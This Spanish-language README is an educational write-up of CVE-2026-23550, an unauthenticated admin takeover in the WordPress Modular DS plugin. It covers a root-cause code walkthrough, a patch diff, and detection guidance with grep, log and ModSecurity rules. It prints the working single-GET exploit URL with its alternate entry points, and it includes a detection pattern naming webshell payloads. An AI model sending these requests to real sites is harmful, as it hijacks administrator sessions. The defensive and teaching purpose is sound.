
Write-up educativo y PoC para CVE-2026-23550, una toma crítica de sesión de administrador no autenticada en el plugin Modular DS de WordPress. Incluye análisis de causa raíz, recorrido del código fuente, diff del parche y guía de detección.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Análisis de Causa Raíz · Recorrido del Código Fuente · Diferencia del Parche · PoC Educativo
Por: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) es un plugin de WordPress para la gestión de sitios con más de 40.000 instalaciones activas. Las versiones ≤ 2.5.1 contienen una cadena de cinco defectos que se combinan para permitir que cualquier atacante no autenticado omita la autenticación, invoque el endpoint interno de inicio de sesión del plugin y reciba una cookie de sesiónwordpress_logged_in_*para la primera cuenta de administrador — con una única petición HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Resultado: control total de administrador. El atacante puede instalar plugins maliciosos, colocar webshells, crear cuentas de administrador de respaldo, extraer la base de datos.
La vulnerabilidad activa un enrutador personalizado derivado de Laravel integrado en el plugin. El plugin incluye su propio kernel HTTP (Ares/Framework) que se engancha a la acción parse_request de WordPress para secuestrar las peticiones antes de que el propio enrutamiento de WordPress tome el control.
Requisitos previos: ninguno (plugin instalado y activo, conectado a Modular SaaS — predeterminado para todas las instalaciones activas).
Puntos de entrada (cualquier uno es suficiente):
/api/modular-connector/login/<cualquiera>?origin=mo&type=<cualquiera>
/?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/index.php?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/wp-load.php?origin=mo&type=<cualquiera>
La vulnerabilidad no es un único fallo, sino una cadena de cinco defectos que se combinan. Cada capa, vista de forma aislada, puede parecer defendible; combinadas, colapsan en una toma de control de administrador pre-autenticación.
flowchart TB
A["🌐 Petición del Atacante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>La puerta se abre solo con parámetros de consulta"]
B --> C["② Router::findRoute()<br/>La URL se resuelve implícitamente a ruta /login"]
C --> D["③ Filtro bindOldRoutes()<br/>Falla en type desconocido"]
D --> E["④ ModularGuard::check()<br/>Valida OAuth del servidor, NO de la petición"]
E --> F["⑤ AuthController::getLogin()<br/>Recae en el primer usuario administrador"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Atacante = Administrador"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
HttpUtils::isDirectRequest()Archivo: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ solo parámetro de consulta, sin firma
}
return false;
}
Problema: El modo de "petición directa" — destinado a identificar llamadas legítimas del backend de Modular SaaS — está protegido por parámetros de consulta en texto plano sin HMAC, JWT, nonce firmado ni lista blanca de IPs. Cualquier atacante puede activar este interruptor.
Router::findRoute()Archivo: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resuelta a ruta ANTES de que se ejecute el filtro
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problema: El routes->match($request) de Laravel resuelve /api/modular-connector/login/xxx en la ruta login (protegida por autenticación) antes de que el filtro de seguridad se ejecute. El filtro recibe esta ruta como entrada, lo que le da la carga de demostrar que la ruta es ilegítima en lugar de autorizarla explícitamente.
bindOldRoutes()Archivo: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* reenlace mediante llamada OAuth firmada */ }
if ($type === 'oauth') { /* reenlace al manejador /oauth */ }
if ($type === 'lb') { /* reenlace a /schedule/run */ }
return $route; // ⚠️ Tipo desconocido → la ruta de la URL permanece igual
}
Problema: El filtro solo anula la ruta cuando type es uno de tres valores conocidos. Cuando type es arbitrario (x, foo, vacío), pasa sin cambios y devuelve la ruta resuelta por URL sin modificar. La ruta impulsada por URL login — que en teoría estaba protegida por autenticación — procede a la evaluación de middleware.
ModularGuard::check()Archivo: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ verifica el estado del SERVIDOR
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
Problema: La guardia personalizada modular realiza cero verificación de la identidad de la petición entrante. Solo verifica que el propio plugin aún tenga una sesión OAuth válida con Modular SaaS. Dado que prácticamente todas las instalaciones están conectadas (de lo contrario, el plugin es inútil), la guardia devuelve true para cualquier petición que llegue a ella.
Este es el defecto fundamental. Incluso si los defectos ①–③ se solucionaran, esta guardia rota por sí sola aún permitiría el acceso no autorizado a todas las rutas del grupo de middleware auth.
AuthController::getLogin()Archivo: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — el enlace nunca se pobló
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 primer administrador del sitio
}
$cookies = ServerSetup::loginAs($user, true); // 💣 emite cookie de sesión de WP
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
Problema: El enlace modelo-ruta SiteRequest solo se puebla cuando type === 'request' en la cadena de filtros. Para type desconocido, $modularRequest llega al controlador como un objeto vacío. El controlador entonces recurre silenciosamente al primer usuario administrador y emite una cookie de inicio de sesión de WordPress. Cualquiera puede entrar por la puerta principal.
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 siempre empezar desde una ruta 404
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
La corrección elimina la resolución implícita URL→ruta por completo. El filtro ahora comienza con una ruta default fijada a abort(404) y solo se reenlaza a un controlador real cuando type es uno de los tres valores explícitamente permitidos. Con la nueva lógica, type=x produce un 404 — la petición nunca llega al controlador de inicio de sesión, y no hay nada contra lo que la guardia rota pueda fallar abiertamente.
Esto es defensa en profundidad aplicada retroactivamente: aunque ModularGuard::check() sigue siendo estructuralmente débil, la cadena de accesibilidad hacia ella ahora está cerrada para las rutas protegidas por autenticación.
modular-connector >= 2.5.2 — no negociable.Después de la actualización, asumir compromiso si el plugin era ≤ 2.5.1 y estaba expuesto a Internet desde el 2026-01-13. Verificar lo siguiente:
# 1. Cuentas de administrador no autorizadas
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. Instalaciones de plugins sospechosas posteriores al 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. Archivos del núcleo modificados recientemente
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. Webshells (cargas útiles comunes colocadas después de la explotación)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 intento de explotación (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 intento de omisión de petición directa'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
Investigador Avanzado de CVE · Analista de Vulnerabilidades · Constructor de PoC
Este repositorio se publica estrictamente con fines educativos y de investigación defensiva.
La vulnerabilidad está divulgada públicamente (CVE-2026-23550), parcheada por el proveedor (
modular-connector 2.5.2), y detallada en la prensa de seguridad convencional. Este artículo existe para ayudar a los defensores a comprender la causa raíz, a los desarrolladores a aprender de un fallo de diseño de autenticación del mundo real, y a los investigadores a estudiar un patrón de defectos encadenados.No ejecute los scripts de PoC incluidos contra sistemas que no posea o para los que no tenga autorización explícita por escrito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal en prácticamente todas las jurisdicciones (CFAA · Computer Misuse Act · ITE Law · etc.).
El autor no acepta ninguna responsabilidad por el mal uso. Si no está seguro de si su caso de uso está autorizado, no lo está.
Hecho con 🎯 para la comunidad de investigación en seguridad.
⭐ Dale una estrella a este repo si te ayudó a aprender algo.
| Campo | Valor |
|---|
| Nombre del Plugin | Modular DS |
| Slug | modular-connector |
| Vulnerable | <= 2.5.1 |
| Parcheado | 2.5.2 |
| Instalaciones Activas | ~40.000 |
| CVSS v3.1 | 10.0 / CRÍTICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Fallos de Identificación y Autenticación |
| # | Capa | Archivo | Problema Raíz |
|---|
| ① | Puerta de arranque | HttpUtils.php:64 | Verificación solo de consulta origin=mo sin criptografía/nonce |
| ② | Coincidencia URL→ruta | Router.php:20 | Resolución implícita de URL pasada directamente al filtro |
| ③ | Filtro de anulación de ruta | RouteServiceProvider.php:46 | type desconocido pasa sin cambios con la ruta original intacta |
| ④ | Guardia de autenticación | ModularGuard.php:16 | Valida el estado OAuth del servidor, no la identidad de la petición |
| ⑤ | Controlador de inicio de sesión | AuthController.php:66 | Recurso silencioso a getAdminUser() cuando faltan datos |
| Fecha | Evento |
|---|
| 2026-01-XX | El proveedor publica 2.5.2 con una corrección de seguridad silenciosa |
| 2026-01-13 ~02:00 UTC | Primera explotación observada en la naturaleza |
| 2026-01-13 | Patchstack publica el aviso · Se asigna CVE-2026-23550 |
| 2026-01-14 | Cobertura en The Hacker News, BleepingComputer, Security Affairs |
| 2026-07-05 | Se publica este artículo educativo |